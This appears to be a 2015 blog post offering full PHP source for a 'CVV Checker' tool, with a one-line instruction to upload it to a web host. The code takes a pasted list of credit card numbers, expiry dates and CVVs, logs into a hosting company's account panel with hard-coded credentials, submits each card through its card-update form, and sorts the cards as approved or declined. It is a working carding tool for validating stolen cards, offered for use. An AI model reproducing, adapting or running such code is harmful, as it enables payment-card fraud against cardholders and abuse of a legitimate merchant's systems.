Saturday, February 21, 2015

CVV Checker (Visa & Mastercard)



Save it as something.php upload it a host and check

PHP Code:
<?php
ob_start
();
@
session_start();set_time_limit(0);
function 
_curl($url,$post="",$usecookie false) { 
    
$ch curl_init();
    if(
$post) {
        
curl_setopt($chCURLOPT_POST ,1);
        
curl_setopt ($chCURLOPT_POSTFIELDS$post);
    }
    
curl_setopt($chCURLOPT_URL$url);
    
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    
curl_setopt($chCURLOPT_USERAGENT"Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
    
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
    
curl_setopt($chCURLOPT_SSL_VERIFYHOST0);
    if (
$usecookie) {
    
curl_setopt($chCURLOPT_COOKIEJAR$usecookie);
    
curl_setopt($chCURLOPT_COOKIEFILE$usecookie);   
    }
    
curl_setopt($chCURLOPT_RETURNTRANSFER,1);
    
$result=curl_exec ($ch);
    
curl_close ($ch);
    return 
$result;
}



function 
percent($num_amount$num_total) {$count1 $num_amount $num_total$count2 $count1 100$count number_format($count20);
return 
$count;
}

function 
getStr1($string,$start,$end){
    
$str explode($start,$string);
    
$str explode($end,$str[1]);
    return 
$str[0];
}
function 
getStr($string,$start,$end){
    
$str explode($start,$string,2);
    if(isset(
$str[1])){
    
$str explode($end,$str[1]);
     return 
$str[0];
    }
    return 
$str[0];
}
function 
checkMon($date,$type){
    
$len strlen($date);
    if (
$type == 2){
        if(
$len == 2){
            return 
$date;
        }
        elseif(
$len == 1){
            switch(
$date){
                case 
'1':  $date='01'; break;
                case 
'2':  $date='02'; break;
                case 
'3':  $date='03'; break;
                case 
'4':  $date='04'; break;
                case 
'5':  $date='05'; break;
                case 
'6':  $date='06'; break;
                case 
'7':  $date='07'; break;
                case 
'8':  $date='08'; break;
                case 
'9':  $date='09'; break;
            }
        }
        return 
$date;
    }
    elseif (
$type == 1){
        if(
$len == 2){
            switch (
$date){
                case 
'01':  $date='1'; break;
                case 
'02':  $date='2'; break;
                case 
'03':  $date='3'; break;
                case 
'04':  $date='4'; break;
                case 
'05':  $date='5'; break;
                case 
'06':  $date='6'; break;
                case 
'07':  $date='7'; break;
                case 
'08':  $date='8'; break;
                case 
'09':  $date='9'; break;
                case 
'10'$date='10'; break;
                case 
'11'$date='11'; break;
                case 
'12'$date='12'; break;
            }
            return 
$date;
        }
        elseif(
$len == 1) return $date;
    }
    else return 
false;
}


function 
checkYear1($date,$type){
    
$len strlen($date);
    if(
$type == 4){
        if(
$len == 4) return substr($date,-2);
        elseif(
$len == 2) return $date;
        
// elseif($len == 2) return "20".$date;
    
}
    elseif(
$type == 2){
        if(
$len == 2) return $date;
        elseif(
$len == 4) return substr($date,-2);
    }
    else return 
false;
}

function 
checkYear($date,$type){
    
$len strlen($date);
    if(
$type == 4){
        if(
$len == 4) return $date;
        elseif(
$len == 2) return "20".$date;
    }
    elseif(
$type == 2){
        if(
$len == 2) return $date;
        elseif(
$len == 4) return substr($date,-2);
    }
    else return 
false;
}

function 
multi_explode($pattern$string$standardDelimiter ':'){
    
$string preg_replace(array($pattern"/{$standardDelimiter}+/s"), $standardDelimiter$string);
    return 
explode($standardDelimiter$string);
}

function 
info($ccline,$type){
    
$iscvv 1;
    
$pattern '/[:\|\\\|\\/\s]/';
    
$line multi_explode($pattern,$ccline);
   
    
$typemy explode(" ",$type);
    
$typem strlen($typemy[0]);
    
$typey strlen($typemy[1]);
   
    
$amex "3";
    
$visa "visa";
    
$mast "master"//type=master
    
$disc "6";

    foreach(
$line as $col){
        if(
is_numeric($col)){
            switch(
strlen($col)){
                case 
15:
                    if(
substr($col,0,1)==3){
                        
$ccnum['num'] = $col;
                        
$ccnum['type'] = $amex;
                    }
                    break;
                case 
16:
                    switch(
substr($col,0,1)){
                        case 
'4':
                            
$ccnum['num'] = $col;
                            
$ccnum['type'] = $visa;
                            break;
                        case 
'5':
                            
$ccnum['num'] = $col;
                            
$ccnum['type'] = $mast;
                            break;
                        case 
'6':
                            
$ccnum['num'] = $col;
                            
$ccnum['type'] = $disc;
                            break;
                    }
                    break;
                case 
1:
                    if ((
$col >= 1) and ($col <=12) and (!isset($ccnum['mon']))) $ccnum['mon'] = checkMon($col,$typem); break;
                case 
2:
                    if ((
$col >= 1) and ($col <=12) and (!isset($ccnum['mon']))){
                        
$ccnum['mon'] = checkMon($col,$typem);
                    }
                    elseif ((
$col >= 9) and ($col <= 19) and (isset($ccnum['mon'])) and (!isset($ccnum['year'])))    $ccnum['year'] = checkYear($col,$typey);
                    break;
                case 
4:
                    if ((
$col >= 2009) and ($col <= 2019) and (isset($ccnum['mon'])))    $ccnum['year'] = checkYear($col,$typey);
                    elseif ((
substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,2)>= 9) and (substr($col,2,2) <= 19) and (!isset($ccnum['mon'])) and (!isset($ccnum['year']))){
                        
$ccnum['mon'] = checkMon(substr($col,0,2),$typem);
                        
$ccnum['year'] = checkYear(substr($col,-2),$typey);
                    }
                    else 
$ccv['cv4'] = $col;
                    break;
                case 
6:
                    if ((
substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,4)>= 2009) and (substr($col,2,4) <= 2019)){
                        
$ccnum['mon'] = checkMon(substr($col,0,2),$typem);
                        
$ccnum['year'] = checkYear(substr($col,-2),$typey);
                    }
                    break;
                case 
3:
                    
$ccv['cv3'] = $col;
                    break;
            }
        }
    }
    if(
$iscvv == 1){
        if (@
$ccnum['type'] == $amex) @$ccnum['cvv'] = @$ccv['cv4'];
        else 
$ccnum['cvv'] = @$ccv['cv3'];
        return 
$ccnum;
    }
}

function 
inStr($s,$as){
    
$s=strtoupper($s);
    if(!
is_array($as)) $as=array($as);
    for(
$i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
    return 
false;
}

if (isset(
$_POST['cclist'])){
        global 
$cookie;
        
$cookie tempnam('cookie','xxx'.rand(1000000,9999999).'xxxx.txt');   

        
$cclive "";
        
$ccdie "";
        
$ccerr "";
        
$cccant "";
        
$uncheck "";
       
        
$cclist trim($_POST['cclist']);
        
$cclist str_replace(array("\\\"","\\'"),array("\"","'"),$cclist);
        
$cclist str_replace("\r\r","\r",$cclist);
        
$cclist str_replace("\n\n","\n",$cclist);
        
$cclist str_replace(",","|",$cclist);
        
$cclist str_replace("/","|",$cclist);
        
$cclist str_replace("|","|",$cclist);
        
$cclist str_replace("||","|",$cclist);
        
$cclist explode("\n",$cclist);
        
        
$STT 0;
        
$TOTAL count($cclist);
       
       
        for(
$i=0;$i<count($cclist);$i++){
            
$ccnum info($cclist[$i],"xx yyyy");
            
$type = @$ccnum['type'];
            
$ccn = @$ccnum['num'];
            
$ccmon = @$ccnum['mon'];
            
$ccyear = @$ccnum['year'];
            
$cvv = @$ccnum['cvv'];
           
            if (
$ccn){
                
$STT++;
               
                
$url "https://control.brightbox.co.uk/login";
                
$post "email=Anighbold40%40gustr.com&password=shadow5&x=48&y=10";
                
$s _curl($url,$post,$cookie);
               
                
$url "https://control.brightbox.co.uk/accounts/jmgkcggccgh/change_card_details";
                
$post "type=$type&name=fghgfjg+hfhdf&number=$ccn&verification=$cvv&month=$ccmon&year=$ccyear&x=43&y=11";
                
$s _curl($url,$post,$cookie);
               

                if(
inStr($s,array("Your card details have been updated")) ){
                    echo 
"<cennter>$STT/$TOTAL | <font color=blue><b>Approved | </font></b>".$cclist[$i]."<br></center>";
                    
$cclive .= "Approved ==> " .$cclist[$i]. "\n";
                }
                elseif(
inStr($s,array("Please check the details you supplied"))){
                    echo 
"$STT/$TOTAL | <font color=red><b>Declined | </font></b>".$cclist[$i]."<br>";
                    
$ccdie .= $cclist[$i]."\n";
                }
                elseif(
stristr($s,'is not a valid expiration date')){
                    echo 
"$STT/$TOTAL | <font color=red><b>EXP invalid    ==> | </font></b>".$cclist[$i]."<br>";
                    
$ccerr .= $cclist[$i]."\n";
                }
                else{
                    echo 
"$STT/$TOTAL | <font color=orange><b>CantCheck    ==> | </font></b>".$cclist[$i]."<br>";
                    
$cccant .= $cclist[$i]."\n";
                }
            }
            
flush();
        }
        
unlink($cookie);

        
$per1 percent(count(explode("\n",$cclive))-1,count($cclist));
        
$per2 percent(count(explode("\n",$ccdie))-1,count($cclist));
        
$per3 percent(count(explode("\n",$ccerr))-1,count($cclist));
        
$per4 percent(count(explode("\n",$cccant))-1,count($cclist));
        
$per5 percent(count(explode("\n",$uncheck))-1,count($cclist));
        echo 
"<center>";
        if(
$cclive!=""){
            echo 
"<h2><font color=blue>Approved</font> $per1 % (".(count(explode("\n",$cclive))-1)."/".count($cclist).")</h2>";
            echo 
"<textarea cols=90 rows=10>$cclive</textarea><br>";
        }
        if(
$ccdie!=""){
            echo 
"<h2><font color=red>Declined</font> $per2 % (".(count(explode("\n",$ccdie))-1)."/".count($cclist).")</h2>";
            echo 
"<textarea cols=90 rows=10>$ccdie</textarea><br>";
        }
        if(
$ccerr!=""){
            echo 
"<h2><font color=orange>Error</font> $per3 % (".(count(explode("\n",$ccerr))-1)."/".count($cclist).")</h2>";
            echo 
"<textarea cols=90 rows=10>$ccerr</textarea><br>";
        }
        if(
$cccant!=""){
            echo 
"<h2><font color=green>CantCheck</font> $per4 % (".(count(explode("\n",$cccant))-1)."/".count($cclist).")</h2>";
            echo 
"<textarea cols=90 rows=10>$cccant</textarea><br>";
        }
        if(
$uncheck!=""){
            echo 
"<h2><font color=green>UnCheck</font> $per5 % (".(count(explode("\n",$uncheck))-1)."/".count($cclist).")</h2>";
            echo 
"<textarea cols=90 rows=10>$uncheck</textarea><br>";
        }
       
}
else{
?>
<html>
<title>--[ CCV Checker  ]--</title>

<body>
<center><h1>--[ CCV Checker | VISA & Master Card]--</h1><br>Credit Card List:
    <form action="" method=post name=f>
        <textarea wrap="off" name=cclist cols=90 rows=20></textarea><br>
        <b>Dupe : <input name=dup type=checkbox value=1 checked> --- Sort Date: <input name=date type=checkbox value=1 checked> --- Check Theo Bin: <input style="width:150px" class="smaill"type=text name=bin MAXLENGTH=6 size=8></b>
        <br> <input style="width:100px" class="button" type=submit name=submit size=10 value="CHECK NOW">
    </form>
<?php }?>

0 Comments:

Post a Comment